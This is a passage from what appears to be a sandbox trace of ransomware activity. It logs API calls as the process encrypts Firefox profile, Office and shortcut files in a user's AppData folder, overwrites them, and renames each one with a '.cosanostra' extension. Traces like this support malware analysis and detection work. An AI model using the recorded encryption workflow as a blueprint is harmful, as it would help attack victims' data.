lpNumberOfBytesWritten=0x26ff32c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff32c*=0x2800, lpOverlapped=0x0) returned 1 [0099.140] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.140] WriteFile (in: hFile=0x15c, lpBuffer=0x26ff36c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff32c, lpOverlapped=0x0 | out: lpBuffer=0x26ff36c*, lpNumberOfBytesWritten=0x26ff32c*=0x4, lpOverlapped=0x0) returned 1 [0099.140] WriteFile (in: hFile=0x15c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff32c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff32c*=0x30, lpOverlapped=0x0) returned 1 [0099.141] CloseHandle (hObject=0x15c) returned 1 [0099.141] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\content-prefs.sqlite.cosanostra") returned 123 [0099.141] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\content-prefs.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\content-prefs.sqlite"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\content-prefs.sqlite.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\content-prefs.sqlite.cosanostra")) returned 1 [0099.142] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff368 | out: pbBuffer=0x26ff368) returned 1 [0099.142] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff360*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff360*=0x30) returned 1 [0099.142] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\compatibility.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\compatibility.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0099.143] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\compatibility.ini") returned 109 [0099.143] StrStrW (lpFirst="compatibility.ini", lpSrch=".txt") returned 0x0 [0099.143] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffff32, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0099.144] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0xce, lpNumberOfBytesWritten=0x26ff324, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff324*=0xce, lpOverlapped=0x0) returned 1 [0099.144] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.144] WriteFile (in: hFile=0x15c, lpBuffer=0x26ff364*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff324, lpOverlapped=0x0 | out: lpBuffer=0x26ff364*, lpNumberOfBytesWritten=0x26ff324*=0x4, lpOverlapped=0x0) returned 1 [0099.144] WriteFile (in: hFile=0x15c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff324, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff324*=0x30, lpOverlapped=0x0) returned 1 [0099.144] CloseHandle (hObject=0x15c) returned 1 [0099.144] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\compatibility.ini.cosanostra") returned 120 [0099.144] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\compatibility.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\compatibility.ini"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\compatibility.ini.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\compatibility.ini.cosanostra")) returned 1 [0099.145] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff368 | out: pbBuffer=0x26ff368) returned 1 [0099.145] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff360*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff360*=0x30) returned 1 [0099.145] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\cert8.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\cert8.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0099.146] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\cert8.db") returned 100 [0099.146] StrStrW (lpFirst="cert8.db", lpSrch=".txt") returned 0x0 [0099.329] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0099.329] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff324, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff324*=0x2800, lpOverlapped=0x0) returned 1 [0099.330] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.330] WriteFile (in: hFile=0x15c, lpBuffer=0x26ff364*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff324, lpOverlapped=0x0 | out: lpBuffer=0x26ff364*, lpNumberOfBytesWritten=0x26ff324*=0x4, lpOverlapped=0x0) returned 1 [0099.330] WriteFile (in: hFile=0x15c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff324, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff324*=0x30, lpOverlapped=0x0) returned 1 [0099.330] CloseHandle (hObject=0x15c) returned 1 [0099.333] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\cert8.db.cosanostra") returned 111 [0099.333] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\cert8.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\cert8.db"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\cert8.db.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\cert8.db.cosanostra")) returned 1 [0099.337] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff358 | out: pbBuffer=0x26ff358) returned 1 [0099.337] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff350*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff350*=0x30) returned 1 [0099.337] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\office\\recent\\templates.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0099.338] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK") returned 87 [0099.338] StrStrW (lpFirst="Templates.LNK", lpSrch=".txt") returned 0x0 [0099.463] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffb8e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0099.463] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x472, lpNumberOfBytesWritten=0x26ff314, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff314*=0x472, lpOverlapped=0x0) returned 1 [0099.464] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.464] WriteFile (in: hFile=0x15c, lpBuffer=0x26ff354*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff314, lpOverlapped=0x0 | out: lpBuffer=0x26ff354*, lpNumberOfBytesWritten=0x26ff314*=0x4, lpOverlapped=0x0) returned 1 [0099.464] WriteFile (in: hFile=0x15c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff314, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff314*=0x30, lpOverlapped=0x0) returned 1 [0099.464] CloseHandle (hObject=0x15c) returned 1 [0099.534] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK.cosanostra") returned 98 [0099.534] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\office\\recent\\templates.lnk"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\office\\recent\\templates.lnk.cosanostra")) returned 1 [0099.535] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff358 | out: pbBuffer=0x26ff358) returned 1 [0099.535] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff350*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff350*=0x30) returned 1 [0099.535] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\office\\mso1033.acl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0099.555] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl") returned 78 [0099.555] StrStrW (lpFirst="MSO1033.acl", lpSrch=".txt") returned 0x0 [0099.556] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0099.557] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff314, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x26ff314*=0x2800, lpOverlapped=0x0) returned 1 [0099.557] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.557] WriteFile (in: hFile=0x15c, lpBuffer=0x26ff354*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff314, lpOverlapped=0x0 | out: lpBuffer=0x26ff354*, lpNumberOfBytesWritten=0x26ff314*=0x4, lpOverlapped=0x0) returned 1 [0099.891] WriteFile (in: hFile=0x15c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff314, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff314*=0x30, lpOverlapped=0x0) returned 1 [0099.891] CloseHandle (hObject=0x15c) returned 1 [0099.891] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl.cosanostra") returned 89 [0099.891] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\office\\mso1033.acl"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\office\\mso1033.acl.cosanostra")) returned 1 [0099.894] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff350 | out: pbBuffer=0x26ff350) returned 1 [0099.894] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff348*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff348*=0x30) returned 1 [0099.895] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\DZBKZBIC\\.." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\userdata\\low"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0099.895] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff348 | out: pbBuffer=0x26ff348) returned 1 [0099.895] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff340*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff340*=0x30) returned 1 [0099.895] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\DZBKZBIC\\." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\userdata\\low\\dzbkzbic\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0099.897] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff340 | out: pbBuffer=0x26ff340) returned 1 [0099.897] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff338*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff338*=0x30) returned 1 [0099.897] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\AY721QDR\\.." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\userdata\\low"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0099.897] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff340 | out: pbBuffer=0x26ff340) returned 1 [0099.897] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff338*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff338*=0x30) returned 1 [0099.897] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\AY721QDR\\." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\userdata\\low\\ay721qdr\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0099.899] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff338 | out: pbBuffer=0x26ff338) returned 1 [0099.899] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff330*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff330*=0x30) returned 1 [0099.899] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\65UX3YG0\\.." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\userdata\\low"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0099.899] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff330 | out: pbBuffer=0x26ff330) returned 1 [0099.899] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff328*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff328*=0x30) returned 1 [0099.899] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\65UX3YG0\\." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\userdata\\low\\65ux3yg0\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0099.899] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff330 | out: pbBuffer=0x26ff330) returned 1 [0099.899] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff328*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff328*=0x30) returned 1 [0099.899] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\.." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\userdata"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0099.899] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff328 | out: pbBuffer=0x26ff328) returned 1 [0099.899] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff320*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff320*=0x30) returned 1 [0099.899] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\userdata\\low\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0099.901] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff320 | out: pbBuffer=0x26ff320) returned 1 [0099.901] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff318*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff318*=0x30) returned 1 [0099.901] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Window Switcher.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\window switcher.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0099.902] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Window Switcher.lnk") returned 110 [0099.902] StrStrW (lpFirst="Window Switcher.lnk", lpSrch=".txt") returned 0x0 [0099.903] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffef0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0099.903] WriteFile (in: hFile=0x15c, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x26ff2dc, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x26ff2dc*=0x110, lpOverlapped=0x0) returned 1 [0099.904] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.904] WriteFile (in: hFile=0x15c, lpBuffer=0x26ff31c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff2dc, lpOverlapped=0x0 | out: lpBuffer=0x26ff31c*, lpNumberOfBytesWritten=0x26ff2dc*=0x4, lpOverlapped=0x0) returned 1 [0099.904] WriteFile (in: hFile=0x15c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff2dc, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff2dc*=0x30, lpOverlapped=0x0) returned 1 [0099.904] CloseHandle (hObject=0x15c) returned 1 [0099.904] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Window Switcher.lnk.cosanostra") returned 121 [0099.904] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Window Switcher.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\window switcher.lnk"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Window Switcher.lnk.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\window switcher.lnk.cosanostra")) returned 1 [0100.014] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff318 | out: pbBuffer=0x26ff318) returned 1 [0100.014] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff310*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff310*=0x30) returned 1 [0100.014] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Media Player.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\windows media player.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0100.015] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Media Player.lnk") returned 135 [0100.015] StrStrW (lpFirst="Windows Media Player.lnk", lpSrch=".txt") returned 0x0 [0100.109] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffff9f5, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0100.109] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x60b, lpNumberOfBytesWritten=0x26ff2d4, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff2d4*=0x60b, lpOverlapped=0x0) returned 1 [0100.109] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.109] WriteFile (in: hFile=0x180, lpBuffer=0x26ff314*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff2d4, lpOverlapped=0x0 | out: lpBuffer=0x26ff314*, lpNumberOfBytesWritten=0x26ff2d4*=0x4, lpOverlapped=0x0) returned 1 [0100.109] WriteFile (in: hFile=0x180, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff2d4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x26ff2d4*=0x30, lpOverlapped=0x0) returned 1 [0100.109] CloseHandle (hObject=0x180) returned 1 [0100.110] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Media 